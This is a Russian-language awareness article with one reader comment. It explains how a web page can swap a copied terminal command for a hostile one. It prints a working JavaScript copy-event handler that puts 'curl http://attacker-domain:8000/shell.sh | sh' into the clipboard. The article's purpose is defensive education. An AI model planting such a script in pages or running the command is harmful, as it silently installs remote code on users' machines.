Атака на системы – копирование и вставка команд с сайтов и форумов

Многие из нас привыкли копировать команды с сайтов и форумов, а затем вставлять их в терминал и выполнять. Это могут быть команды для устранения каких либо неурядиц системы, кастомизация, установка программного обеспечения, добавления репозиториев и так далее.

Таким образом можно скомпрометировать свою систему, заразить ее каким нибудь бэкдором, то есть, стать жертвой злоумышленников. В командах с сайтов и форумах может скрываться не то, что на первый взгляд вам кажется, в итоге, копируя команды вы можете выполнить установку какого нибудь вредоносного программного обеспечения или исполняющего скрипта. В этом вы убедитесь чуть ниже.

Спросите любого системного администратора, продвинутого или начинающего пользователя Linux, копировал ли он команды с сайтов? И ответ, скорее всего, да. Да что там, многие так делают, даже не задумываясь о последствиях.

Компрометация системы

Предположим, вы первый раз установили систему Linux из семейства Debian, пошли в сеть в поисках информации как обновить систему и на каком то не известном сайте наткнулись на команду. Копируете ее с этого сайта и вставляете в терминал, нажимаете “Enter”, вводите пароль, и в результате можете стать жертвой злоумышленников. Пример этому приведен ниже, скопируйте команду которую вы видите и вставьте ее например в обычный блокнот:

sudo apt update && sudo apt upgrade

Забавно, не так ли? Вместо привычной команды вы получили совершенно иное. Это наглядный пример того, как ваша система может стать целью хакеров.

на системы – копирование и вставка команд с сайтов и форумов 1

Вся загадка тут кроется в JS (JavaScript) коде, который скрывается под обычной командой:

<script>
document.getElementById('copy').addEventListener('copy', function(e) { e.clipboardData.setData('text/plain', 'curl http://attacker-domain:8000/shell.sh | sh\n'); e.preventDefault(); });
</script>

Копируя команды и выполняя их в терминале, вы крайне рискуете, эта команда выше показана как наглядный пример. В некоторых системах Linux после копирования и вставки в терминал, происходит выполнение команды автоматически, так что даже если заметили подмену команды, может быть уже поздно.

Хакер может и вовсе скрыть выполнение посторонней команды, к примеру за вереницей длинных команд в итоге, вы даже не поймете что устанавливаете в свою систему. Как вариант:

sudo apt install mariadb-server php libapache2-mod-php php-mysql php-curl php-mcrypt php-cgi php-gd php-mbstring phpmyadmin

А ведь команды бывают и намного больше, и среди этой вереницы, вместе с нужным программным обеспечением может быть скачена и установка вредоносная программа как вариант, майнер, бэкдор или кейлогер. И не факт, что вы это заметите, так как установка может происходить в фоновом режиме.

Заключение

Что бы избежать подобной атаки на вашу систему, и не стать жертвой хакера или иного злоумышленника, не копируйте команды с сайтов и форумов. Все команды вводите только вручную, а если все же скопировали команду, то перед ее выполнением вставляете ее в какой-нибудь текстовый редактор и внимательно изучите ее прежде чем выполнять.

Габриэль Фридландер, специалист по информационной безопасности, основатель обучающей платформы Wizer и автор данного скрипта, на сайте www.wizer-training.com прекрасно продемонстрировал данный тип атаки, при желании, вы можете ознакомиться с его трудами перейдя по этой ссылке.

Так же рекомендую ознакомится со статьей по частым ошибкам кибербезопасности, которые желательно взять на заметку.

А на этом сегодня все, если статья оказалась вам полезна, подписывайтесь на рассылку журнала в pdf формате, а так же на социальные сети журнала Cyber-X:

YouTube
ВКонтакте
Telegram
Twitter
Tumblr

Юморилка, Telegram канал с анекдотами:
Telegram

По вопросам работы сайта, сотрудничества, а так же по иным возникшим вопросам пишите на E-Mail. Если вам нравится журнал и вы хотите отблагодарить за труды, вы можете перечислить донат на развитие проекта.

С уважением, редакция журнала Cyber-X

Один комментарий к “Атака на системы – копирование и вставка команд с сайтов и форумов

  1. Я тоже часто этим грешу, копирую с сайтов команды, иногда она сразу запускается на исполнение и приходится прерывать её комбинацией клавиш “Ctrl+C” или даже нажимать на кнопку “Reset”.
    Последнее время, чисто интуитивно, стараюсь сначала копировать команду в простейший текстовый редактор, типа “edit”, “mcedit”, “nano” и только оттуда, убедившись в правильности команды, копирую ей в терминал.
    При копировании её в Libre Office Wriner, тоже иногда замечал подмену и, вместо необходимой команды, получал какую-то странную, непонятную, длинную команду, ранее считал это неудачной операцией копирования, теперь понbмаю, что это не совсем так, а точнее совсем не так.
    Большое спасибо автору, теперь в этом деле буду ещё более внимательным.

Добавить комментарий

Ваш адрес email не будет опубликован.

Мы используем cookie-файлы для наилучшего представления нашего сайта. Продолжая использовать этот сайт, вы соглашаетесь с использованием cookie-файлов.
Принять
Отказаться
Политика конфиденциальности